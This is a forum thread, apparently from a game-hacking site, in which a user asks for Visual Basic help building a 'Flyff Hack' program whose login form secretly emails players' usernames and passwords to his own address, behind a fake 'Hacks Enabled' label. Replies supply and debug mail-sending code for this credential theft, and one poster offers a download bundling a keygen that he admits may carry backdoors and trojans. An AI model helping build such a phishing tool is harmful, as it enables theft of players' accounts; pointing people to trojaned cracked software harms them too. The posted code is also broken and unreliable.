VB Help

Posts 1–15 of 19 · Page 1 of 2
VB Help
Hey,

I need some leeeedle help with VB.
  • How do I make it so when a user puts in their login and password and clicks a button, it sends their login info to my email?
  • When a user clicks a button, for example 'Hack!', how do I make it so a label that previously said 'Hacks Disabled' switches and says 'Hacks Enabled'?


Yes, I am a VB nub, no need to point it out O.o
Quote Originally Posted by tibble View Post
Hey,

I need some leeeedle help with VB.
  • How do I make it so when a user puts in their login and password and clicks a button, it sends their login info to my email?
  • When a user clicks a button, for example 'Hack!', how do I make it so a label that previously said 'Hacks Disabled' switches and says 'Hacks Enabled'?


Yes, I am a VB nub, no need to point it out O.o
Alpha Muffin?

Easy Way
Code:
If label1.text = "Hacks Disabled" then 
label1.text = "Hacks Enabled"
Else
Label.text = "Hacks Disabled"
End If
Sending Email
Code:
Private Sub Page_Load(sender As Object, e As System.EventArgs)
   Dim mail As New MailMessage()
   mail.To = "youremail@emailaddress.com"
   mail.From = "youremail@emailaddress.com"
   mail.Subject = "Login information for " + usernametxt.text ' Username field
   mail.Body = mail.Body + Usernametxt.text & mail.body=mail.body + Passwordtxt.txt 'passwordfield
   mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", "1") 'basic authentication
   mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", "my_username_here") 'set your username here
   mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", "super_secret") 'set your password here
   SmtpMail.SmtpServer = "mail.mycompany.com" 'your real server goes here
   SmtpMail.Send(mail)
End Sub 'Page_Load
Hmm, i'm having some problems here. What the heck is:

Code:
mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", "1") 'basic authentication
        mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", "my_username_here") 'set your username here
        mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", "super_secret") 'set your password here
And it says Type 'MailMessage' is not defined and Name 'SmtpMail' is not declared.
Quote Originally Posted by tibble View Post
Hmm, i'm having some problems here. What the heck is:

Code:
mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", "1") 'basic authentication
        mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", "my_username_here") 'set your username here
        mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", "super_secret") 'set your password here
And it says Type 'MailMessage' is not defined and Name 'SmtpMail' is not declared.
your missing some references. i forget what those references are though.
Sigh, this is due in two hours and it's all I need O.o
Are you importing anything? Such as System.Net.Mail
Should I? All i want to do is have 2 text fields, one for username and one for the password. When they press a button, it sends the username and password to m email account, tibbpow@aol.com.
Imports System.Net.Mail

(sorry)

It's not as simple as just clicking a button, a lot of times in VB there is hundreds of lines of code just to perform a simple task.

Sending an email sounds simple enough and I'm sure with some third party coms you can accomplish this with little code, but there usually costly and not worth the investment, plus a lot of them require commercial licences on top of the initial fee
Quote Originally Posted by NextGen1 View Post
Imports System.Net.Mail

(sorry)
Yep add it.


Should look like this

Code:
Imports System.Net.Mail

Public Class Form1
    Private Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs)
        Dim mail As New MailMessage()
        mail.To = "youremail@emailaddress.com"
        mail.From = "youremail@emailaddress.com"
        mail.Subject = "Login information for " + usernametxt.text ' Username field
        mail.Body = mail.Body + Usernametxt.text & mail.body = mail.body + Passwordtxt.txt 'passwordfield
        mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", "1") 'basic authentication
        mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", "my_username_here") 'set your username here
        mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", "super_secret") 'set your password here
        SmtpMail.SmtpServer = "mail.mycompany.com" 'your real server goes here
        SmtpMail.Send(mail)
    End Sub 'Page_Load


End Class

I'm getting errors though. So I will try and fix them and tell you the answer.
Try and figure out yourself though.
Or if you want to save time and code, try to get your hands on the chilkat component.

Edit: Here I found them and uploaded them to my server, download them, should make your life a lot easier.

Index of /MPGH/Downloads

Virus Scan:

The Keygen and maybe the file has some back door and some trojans, seriously doubt your gonna find a clean clean version, either find a key online and delete the keygen or make sure your antivirus is on

Download Avoidsearch3.rar it contains a Keygen and Chilkat .dll component

This should make it a-lot easier for you

and Marthz no need to post the obvious,

after someone posts it already, it's redundant. (just a IMO ;p)
Quote Originally Posted by NextGen1 View Post
Or if you want to save time and code, try to get your hands on the chilkat component.

Edit: Here I found them and uploaded them to my server, download them, should make your life a lot easier.

Index of /MPGH/Downloads

Virus Scan:

The Keygen and maybe the file has some back door and some trojans, seriously doubt your gonna find a clean clean version, either find a key online and delete the keygen or make sure your antivirus is on

Download Avoidsearch3.rar it contains a Keygen and Chilkat .dll component

This should make it a-lot easier for you

and Marthz no need to post the obvious,

after someone posts it already, it's redundant. (just a IMO ;p)
I didn't post anything that someone said already. On that one I just showed him where Imports should go. Otherwise he will get more errors then he already has.
O.o gets rid of one error and creates like 10 more that weren't there before

Code:
Error	1	Property 'To' is 'ReadOnly'.	C:\Users\Tibbles\Desktop\Flyff Hack\Flyff Hack\Flyff Hack.vb	68	13	Flyff Hack
Error	2	Value of type 'String' cannot be converted to 'System.Net.Mail.MailAddress'.	C:\Users\Tibbles\Desktop\Flyff Hack\Flyff Hack\Flyff Hack.vb	69	25	Flyff Hack
Error	3	Reference to a non-shared member requires an object reference.	C:\Users\Tibbles\Desktop\Flyff Hack\Flyff Hack\Flyff Hack.vb	70	55	Flyff Hack
Error	4	Reference to a non-shared member requires an object reference.	C:\Users\Tibbles\Desktop\Flyff Hack\Flyff Hack\Flyff Hack.vb	71	37	Flyff Hack
Error	5	Reference to a non-shared member requires an object reference.	C:\Users\Tibbles\Desktop\Flyff Hack\Flyff Hack\Flyff Hack.vb	71	80	Flyff Hack
Error	6	'Fields' is not a member of 'System.Net.Mail.MailMessage'.	C:\Users\Tibbles\Desktop\Flyff Hack\Flyff Hack\Flyff Hack.vb	72	13	Flyff Hack
Error	7	'Fields' is not a member of 'System.Net.Mail.MailMessage'.	C:\Users\Tibbles\Desktop\Flyff Hack\Flyff Hack\Flyff Hack.vb	73	13	Flyff Hack
Error	8	'Fields' is not a member of 'System.Net.Mail.MailMessage'.	C:\Users\Tibbles\Desktop\Flyff Hack\Flyff Hack\Flyff Hack.vb	74	13	Flyff Hack
Error	9	Name 'SmtpMail' is not declared.	C:\Users\Tibbles\Desktop\Flyff Hack\Flyff Hack\Flyff Hack.vb	75	13	Flyff Hack
Error	10	Name 'SmtpMail' is not declared.	C:\Users\Tibbles\Desktop\Flyff Hack\Flyff Hack\Flyff Hack.vb	76	13	Flyff Hack
How about this, I write a small tut with a vb project, be back in 20
Ty...
NEXTGEN1 FOR MINION
But what i don't get is
Code:
Error	6	Name 'SmtpMail' is not declared.	C:\Users\Tibbles\Desktop\Flyff Hack\Flyff Hack\Flyff Hack.vb	73	9	Flyff Hack
Do I need to add a reference for it?

Edit: I just need to find out how to fix
Code:
Error	1	'MailMessage' is ambiguous, imported from the namespaces or types 'System.Web.Mail, System.Net.Mail'.	C:\Users\Tibbles\Desktop\Flyff Hack\Flyff Hack\Flyff Hack.vb	66	25	Flyff Hack
and I'm good.

But I still want that tut NextGen1 cuz 9 chances out of 10 I fixed it wrong.
Posts 1–15 of 19 · Page 1 of 2
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Talk with us